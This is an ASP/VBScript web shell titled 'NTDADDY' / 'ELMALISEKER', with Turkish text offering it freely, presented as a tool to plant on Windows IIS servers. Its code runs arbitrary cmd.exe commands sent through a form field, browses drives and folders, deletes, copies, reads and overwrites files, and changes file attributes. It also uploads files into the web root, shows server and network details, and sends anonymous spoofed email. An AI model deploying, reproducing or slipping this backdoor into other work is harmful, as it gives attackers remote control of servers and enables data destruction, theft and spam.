<%@ Language=VBScript %> <%Dim oScript Dim oScriptNet Dim oFileSys, oFile Dim szCMD, szTempFile On Error Resume Next Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") szCMD = Request.Form(".CMD") If (szCMD <> "") Then szTempFile = "C:\" & oFileSys.GetTempName( ) Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) End If%> <% if request.form("flag")=""then %> ::: ELMALISEKER ::: <% 'Commands dim fs,f dim FilePath,FolderPath,FileTo,Cmd dim selFolder,FolderTo dim Tempmsg dim TempAtt dim TextOutput,TextWrite,TextFile,lblioMode,lblFormat,TextCreateFormat Const ForReading = 1, ForWriting = 2, ForAppending = 3 Set fs = CreateObject("Scripting.FileSystemObject") FilePath=Request.Form("FileName") FolderPath=Request.Form("FolderPath") selFolder=Request.Form("FolderName") FolderTo=Request.form("CopyFolderTo") FileTo=Request.Form("CopyFileTo") Cmd=Request.Form("cmdOption") TextCmd=Request.form("cmdtxtFileOption") Select case Cmd case "DeleteFile" fs.deletefile FilePath,TRUE response.write("File: " & FilePath & " has been deleted.") case "DeleteFolder" fs.deletefolder selFolder,TRUE response.write("Folder: " & selFolder & " has been deleted.") FolderPath=Request.form("RefreshFolderPath") case "CopyFile" fs.CopyFile FilePath,FileTo, TRUE response.write("File: " & FilePath & " has been copied to " & FileTo & ".") case "CopyFolder" fs.CopyFolder selFolder,FolderTo, TRUE response.write("Folder: " & selFolder & " has been copied to " & FolderTo & ".") case "SetFileAttributes" on error resume next if FilePath <> "" then Set f = fs.GetFile(FilePath) select case f.attributes case 0 FileAttributes = "Normal" case 1 FileAttributes = "Read Only" case 2 FileAttributes = "Hidden" case 3 'Extra FileAttributes = "Read Only, Hidden" case 4 FileAttributes = "System" case 7 'Extra FileAttributes = "Read Only, Hidden, System" case 8 FileAttributes = "Volume" case 16 FileAttributes = "Directory" case 19 FileAttributes = "Read Only, Hidden, Directoy" case 23 FileAttributes = "Read Only, Hidden, System, Directory" case 32 FileAttributes = "Archive" case 33 'Extra FileAttributes = "Read Only, Archive" case 34 'Extra FileAttributes = "Hidden, Archive" case 38 'Extra FileAttributes = "Hidden, Archive, System" case 39 'Extra FileAttributes = "Read Only, Hidden, Archive, System" case 48 FileAttributes = "Directory, Archive" case 64 FileAttributes = "Alias" case 128 FileAttributes = "Compressed" case else FileAttributes = f.attributes end select end if response.write("
") response.write("") response.write("") response.write("
") response.write("") response.write("") response.write("") response.write("") if f.DateCreated = "" then response.write("") else response.write("
Accessed: " & f.DateLastModified & "") end if response.write("") response.write("
File Name: " & f.name & "
Set New Attributes:
") response.write("Normal") response.write("
Read Only") response.write("
Hidden") response.write("
System") response.write("
Volume") response.write("
Directory") response.write("
Archive") response.write("
Alias") response.write("
Compressed") response.write("
") response.write("
Type of File: " & f.type & "
Location: " & f.path) response.write("
Size: " & FormatNumber(f.size/1024, 2) & "KB (" & f.size & " bytes)
Created: ----") else response.write("
Created: " & f.DateCreated) end if if f.DateLastAccessed = "" then response.write("
Modified: ----") else response.write("
Modified: " & f.DateLastAccessed) end if if f.DateLastModified = "" then response.write("
Accessed: ----
Attributes: " & FileAttributes & "
") case "SetFolderAttributes" on error resume next FolderPath=Request.form("RefreshFolderPath") if selFolder <> "" then Set f = fs.Getfolder(selFolder) select case f.attributes case 0 FolderAttributes = "Normal" case 1 FolderAttributes = "Read Only" case 2 FolderAttributes = "Hidden" case 3 'Extra FolderAttributes = "Read Only, Hidden" case 4 FolderAttributes = "System" case 7 'Extra FolderAttributes = "Read Only, Hidden, System" case 8 FolderAttributes = "Volume" case 16 FolderAttributes = "Directory" case 17 'Extra FolderAttributes = "Read Only, Directory" case 18 'Extra FolderAttributes = "Hidden, Directory" case 19 FolderAttributes = "Read Only, Hidden, Directoy" case 20 'Extra FolderAttributes = "System, Directory" case 22 'Extra FolderAttributes = "Hidden, System. Directory" case 23 FolderAttributes = "Read Only, Hidden, System, Directory" case 32 FolderAttributes = "Archive" case 33 'Extra FolderAttributes = "Read Only, Archive" case 34 'Extra FolderAttributes = "Hidden, Archive" case 38 'Extra FolderAttributes = "Hidden, Archive, System" case 39 'Extra FolderAttributes = "Read Only, Hidden, Archive, System" case 48 FolderAttributes = "Directory, Archive" case 64 FolderAttributes = "Alias" case 128 FolderAttributes = "Compressed" case else FolderAttributes = f1.attributes end select end if response.write("
") response.write("") response.write("") response.write("
") response.write("") response.write("") response.write("") response.write("") if f.DateCreated = "" then response.write("") else response.write("
Accessed: " & f.DateLastModified & "") end if response.write("") response.write("
Folder Name: " & f.name & "
Set New Attributes:
") response.write("Normal") response.write("
Read Only") response.write("
Hidden") response.write("
System") response.write("
Volume") response.write("
Directory") response.write("
Archive") response.write("
Alias") response.write("
Compressed") response.write("
") response.write("
Type of Folder: " & f.type & "
Location: " & f.path) response.write("
Size: " & FormatNumber(f.size/1024, 2) & "KB (" & f.size & " bytes)
Created: ----") else response.write("
Created: " & f.DateCreated) end if if f.DateLastAccessed = "" then response.write("
Modified: ----") else response.write("
Modified: " & f.DateLastAccessed) end if if f.DateLastModified = "" then response.write("
Accessed: ----
Attributes: " & FolderAttributes & "
") case "OpenTextFile" If FilePath <> "" then lblioMode=Request.form("optiomode") lblFormat=request.form("optformat") set TextFile = fs.OpenTextFile (FilePath, lblioMode, lblFormat) TextOutput = TextFile.ReadAll 'TextOutput="" 'Do While TextFile.AtEndOfStream <> True ' TextOutput = TextOutput & TextFile.ReadLine 'Loop TextFile.close else FilePath = FolderPath end if response.write("
") response.write("
") response.write("") response.write("") response.write(chr(13)) response.write(chr(13)) response.write(chr(13)) response.write(chr(13)) response.write("") response.write(chr(13)) response.write("") response.write(chr(13)) response.write("") response.write(chr(13)) response.write("") response.write(chr(13)) response.write(chr(13)) response.write(chr(13)) response.write(chr(13)) response.write("") response.write("

") case "ApplyFileAttributes" TempAtt=int(Request.form("FileAttribute1")) TempAtt=TempAtt + int(Request.form("FileAttribute2")) TempAtt=TempAtt + int(Request.form("FileAttribute3")) TempAtt=TempAtt + int(Request.form("FileAttribute4")) TempAtt=TempAtt + int(Request.form("FileAttribute5")) TempAtt=TempAtt + int(Request.form("FileAttribute6")) TempAtt=TempAtt + int(Request.form("FileAttribute7")) TempAtt=TempAtt + int(Request.form("FileAttribute8")) TempAtt=TempAtt + int(Request.form("FileAttribute9")) Set f = fs.GetFile(FilePath) f.attributes=int(TempAtt) response.write("File: " & FilePath & " attributes have been changed.") case "ApplyFolderAttributes" FolderPath=Request.form("RefreshFolderPath") TempAtt=int(Request.form("FolderAttribute1")) TempAtt=TempAtt + int(Request.form("FolderAttribute2")) TempAtt=TempAtt + int(Request.form("FolderAttribute3")) TempAtt=TempAtt + int(Request.form("FolderAttribute4")) TempAtt=TempAtt + int(Request.form("FolderAttribute5")) TempAtt=TempAtt + int(Request.form("FolderAttribute6")) TempAtt=TempAtt + int(Request.form("FolderAttribute7")) TempAtt=TempAtt + int(Request.form("FolderAttribute8")) TempAtt=TempAtt + int(Request.form("FolderAttribute9")) Set f = fs.Getfolder(selFolder) f.attributes=int(TempAtt) response.write("Folder: " & selFolder & " attributes have been changed.") end select Select Case TextCmd case "SaveAs" TextWrite = Request.form("txtFile") TextCreateFormat = Request.form("optUnicode") if textcreateformat = "TRUE" then tempmsg="Unicode" else tempmsg="ASCII" end if Set TextFile = fs.CreateTextFile(FilePath, True, TextCreateFormat) TextFile.Write TextWrite TextFile.Close response.write("File: " & FilePath & " Format: " & tempmsg & " has been saved.") end select %> <% Public CurrentPath Function ShowDriveLetters() on error resume next Dim fs, d, dc, t dim isReadyColor,TempSize,ShowDriveInfo Set fs = CreateObject("Scripting.FileSystemObject") Set dc = fs.Drives ShowDriveInfo=Request.Form("chkShowDriveInfo") response.write("") response.write("") if showdriveinfo="TRUE" then response.write("") response.write("") response.write("") else response.write("") end if response.write("") response.write("") if showdriveinfo="TRUE" then response.write("") response.write("") response.write("") response.write("") end if response.write("") For Each d in dc Select Case d.DriveType Case 0: t = "Unknown" Case 1: t = "Removable" Case 2: t = "Fixed" Case 3: t = "Network" Case 4: t = "CD-ROM" Case 5: t = "RAM Disk" End Select if showdriveinfo="TRUE" then if d.isReady then response.write("") else response.write("") end if if d.filesystem = "" then response.write("") else response.write("") end if if d.SerialNumber = "" then response.write("") else response.write("") end if else response.write("") end if response.write("") response.write("") if showdriveinfo="TRUE" then if d.volumename="" then response.write("") else response.write("") end if if d.sharename="" then response.write("") else response.write("") end if str="" str=str & d.driveletter str=str & ":" 'response.write(str) if d.isready then freespace = (d.AvailableSpace / 1048576) set sp=fs.getdrive(str) response.write("") else response.write("") end if str="" str=str & d.driveletter str=str & ":" 'response.write(str) if d.isready then totalspace = (d.TotalSize / 1048576) set sp=fs.getdrive(str) response.write("") else response.write("") end if end if Next response.write("") response.write("
Show Drive Info
File SystemSerial #
Show Drive Info
TypeDriveVolume NameShare NameFree SpaceTotal Size
...." & d.filesystem & "...." & d.SerialNumber & "
" & t & "...." & d.volumename & "...." & d.sharename & "" & Round(freespace,1) & " MB...." & Round(totalspace,1) & " MB....
") response.write("

") End Function Function ShowFolderNames() on error resume next Dim fs, f, f1, s, sf ,FP dim ShowFolderInfo,FolderAttributes ShowFolderInfo=request.form("chkShowFolderInfo") FP=Request.Form("FolderPath") if FP = "RefreshFolder" or request.form("cmdOption")="DeleteFolder" or request.form("cmdOption")="CopyFolder" or request.form("cmdOption")="SetFolderAttributes" then FP=request.form("RefreshFolderPath") IP=chr(34) & IP & chr(34) end if CurrentPath=FP Set fs = CreateObject("Scripting.FileSystemObject") Set f = fs.GetFolder(FP) Set sf = f.SubFolders response.write("
") response.write("") response.write("") response.write("") response.write("") response.write("") response.write("") response.write("") response.write("") response.write("") response.write("") response.write("") response.write("") response.write("") response.write("") response.write("") response.write("") end if For Each f1 in sf if showfolderinfo="TRUE" then response.write("") response.write("") response.write("") response.write("") folderattributes="...." select case f1.attributes case 0 FolderAttributes = "Normal" case 1 FolderAttributes = "Read Only" case 2 FolderAttributes = "Hidden" case 3 'Extra FolderAttributes = "Read Only, Hidden" case 4 FolderAttributes = "System" case 7 'Extra FolderAttributes = "Read Only, Hidden, System" case 8 FolderAttributes = "Volume" case 16 FolderAttributes = "Directory" case 17 'Extra FolderAttributes = "Read Only, Directory" case 18 'Extra FolderAttributes = "Hidden, Directory" case 19 FolderAttributes = "Read Only, Hidden, Directoy" case 20 'Extra FolderAttributes = "System, Directory" case 22 'Extra FolderAttributes = "Hidden, System. Directory" case 23 FolderAttributes = "Read Only, Hidden, System, Directory" case 32 FolderAttributes = "Archive" case 33 'Extra FolderAttributes = "Read Only, Archive" case 34 'Extra FolderAttributes = "Hidden, Archive" case 38 'Extra FolderAttributes = "Hidden, Archive, System" case 39 'Extra FolderAttributes = "Read Only, Hidden, Archive, System" case 48 FolderAttributes = "Directory, Archive" case 64 FolderAttributes = "Alias" case 128 FolderAttributes = "Compressed" case else FolderAttributes = f1.attributes end select response.write("") if f1.datecreated = "" then response.write("") else response.write("") end if if f1.datelastaccessed = "" then response.write("") else response.write("") end if if f1.datelastmodified = "" then response.write("") else response.write("") end if response.write("") response.write("") else response.write("") end if Next response.write("
Show Folder Info

to
") if showfolderinfo="TRUE" then response.write("
FolderSizeTypeAttributesCreatedLast AccessedLast ModifiedShort NameShort Path
" & FormatNumber(f1.size/1024, 0) & " kb" & f1.type & "" & FolderAttributes & "...." & f1.datecreated & "...." & f1.datelastaccessed & "...." & f1.datelastmodified & "" & f1.shortname & "" & f1.shortpath & "\
") response.write("
") End Function Function ShowFileNames() on error resume next Dim fs, f, f1, fc, FP dim ShowFileInfo,FileAttributes,ShowPrefix ShowPrefix=request.form("txtShowPrefix") ShowFileInfo=Request.form("chkShowFileInfo") FP=Request.Form("FolderPath") if FP = "RefreshFolder" or request.form("cmdOption")="DeleteFolder" or request.form("cmdOption")="CopyFolder" or request.form("cmdOption")="SetFolderAttributes" then FP=request.form("RefreshFolderPath") IP=chr(34) & IP & chr(34) end if CurrentPath=FP Set fs = CreateObject("Scripting.FileSystemObject") Set f = fs.GetFolder(FP) Set fc = f.Files response.write("
") response.write("") response.write("") response.write("") response.write("") response.write("") if showfileinfo="TRUE" then response.write("") response.write("") response.write("") response.write("") response.write("") response.write("") response.write("") response.write("") response.write("") response.write("") response.write("") end if For Each f1 in fc if showfileinfo="TRUE" then if lcase(right(f1.name,(len(ShowPrefix)))) = lcase(ShowPrefix) then response.write("") response.write("") response.write("") response.write("") select case f1.attributes case 0 FileAttributes = "Normal" case 1 FileAttributes = "Read Only" case 2 FileAttributes = "Hidden" case 3 'Extra FileAttributes = "Read Only, Hidden" case 4 FileAttributes = "System" case 7 'Extra FileAttributes = "Read Only, Hidden, System" case 8 FileAttributes = "Volume" case 16 FileAttributes = "Directory" case 19 FileAttributes = "Read Only, Hidden, Directoy" case 23 FileAttributes = "Read Only, Hidden, System, Directory" case 32 FileAttributes = "Archive" case 33 'Extra FileAttributes = "Read Only, Archive" case 34 'Extra FileAttributes = "Hidden, Archive" case 38 'Extra FileAttributes = "Hidden, Archive, System" case 39 'Extra FileAttributes = "Read Only, Hidden, Archive, System" case 48 FileAttributes = "Directory, Archive" case 64 FileAttributes = "Alias" case 128 FileAttributes = "Compressed" case else FileAttributes = f1.attributes end select response.write("") if f1.datecreated = "" then response.write("") else response.write("") end if if f1.datelastaccessed = "" then response.write("") else response.write("") end if if f1.datelastmodified = "" then response.write("") else response.write("") end if response.write("") response.write("") end if else if lcase(right(f1.name,(len(ShowPrefix)))) = lcase(ShowPrefix) then response.write("") end if end if Next response.write("
Show File Info &
Show Only:
to
") response.write("
FileSizeTypeAttributesCreatedLast AccessedLast ModifiedShort NameShort Path
" & f1.name & "" & FormatNumber(f1.size/1024, 0) & " kb" & f1.type & "" & FileAttributes & "...." & f1.datecreated & "...." & f1.datelastaccessed & "...." & f1.datelastmodified & "" & f1.shortname & "" & f1.shortpath & "
" & f1.name & "
") response.write("
") End Function %>
Make your own free website on Tripod.com
NTDADDY

BU BIR ELMALI SEKERDIR;) YILLARDIR BUYUK BABALAR TARAFINDAN BILINMESINE RAGMEN DAGITILMIYORDU
AMA BUGUN AHA SIZ EVLATLARIMIZA VERIYOZ CUNKU BIZ BUNUN BABASINI YAPTIK BU DA SIZIN OLSUN


" & FP) %>
<% =ShowDriveLetters() %>
<% =ShowFolderNames() %> <% =ShowFileNames() %>



Remote Info. Local Info.
User: <%= "\\" & oScriptNet.ComputerName & " \ " & oScriptNet.UserName %>
ID: <%=request.servervariables("SERVER_NAME")%>
IP: <%=request.servervariables("LOCAL_ADDR")%>
HTTPD: <%=request.servervariables("SERVER_SOFTWARE")%> Port: <%=request.servervariables("SERVER_PORT")%>
Webroot: <%=request.servervariables("APPL_PHYSICAL_PATH")%>
LogRoot: <%=request.servervariables("APPL_MD_PATH")%>
Date: <% =date() %>
Time: <%=time() %>
HTTPs: <%=request.servervariables("HTTPS")%>
Local Addr (What they see.): <%=request.servervariables("REMOTE_ADDR")%>
Forwarded from : <%=request.servervariables("HTTP_X_FORWARDED_FOR")%>
Via: <%=request.servervariables("HTTP_VIA")%>
User Agent: <%=request.servervariables("HTTP_USER_AGENT")%>
Wookie: <%=request.servervariables("HTTP_WOOKIE")%>
Cache Control: <%=request.servervariables("HTTP_CACHE_CONTROL")%>
Interface: <%=request.servervariables("GATEWAY_INTERFACE")%>
Protocol: <%=request.servervariables("SERVER_PROTOCOL")%>
Method: <%=request.servervariables("REQUEST_METHOD")%>



File Upload Utility
File :
RAW D.O.S. COMMAND INTERFACE
" method="POST">

<%
If (IsObject(oFile)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If%>



Anonymous Email Utility
From:
To:
Subject:
Body:


 
<% If Request.ServerVariables("REQUEST_METHOD") = "POST" Then Set Fields = GetUpload() FilePath = Server.MapPath(".") & "\" & Fields("File1").FileName Fields("File1").Value.SaveAs FilePath End If %> <% Else Dim anonFrom,anonTo,anonSubj,anonBody anonFrom = request.form("From") anonTo = request.form("To") anonSubj = request.form("Subject") anonBody = request.form("Body") Set objMail = CreateObject("CDONTS.NewMail") objMail.From=anonFrom objMail.To=anonTo objMail.Subject=anonSubj objMail.Body=anonBody intReturn=objMail.Send() %> :::: DESERTSUN SERVER CRASHER ::::

Message sent successfully!




]

<% End if %>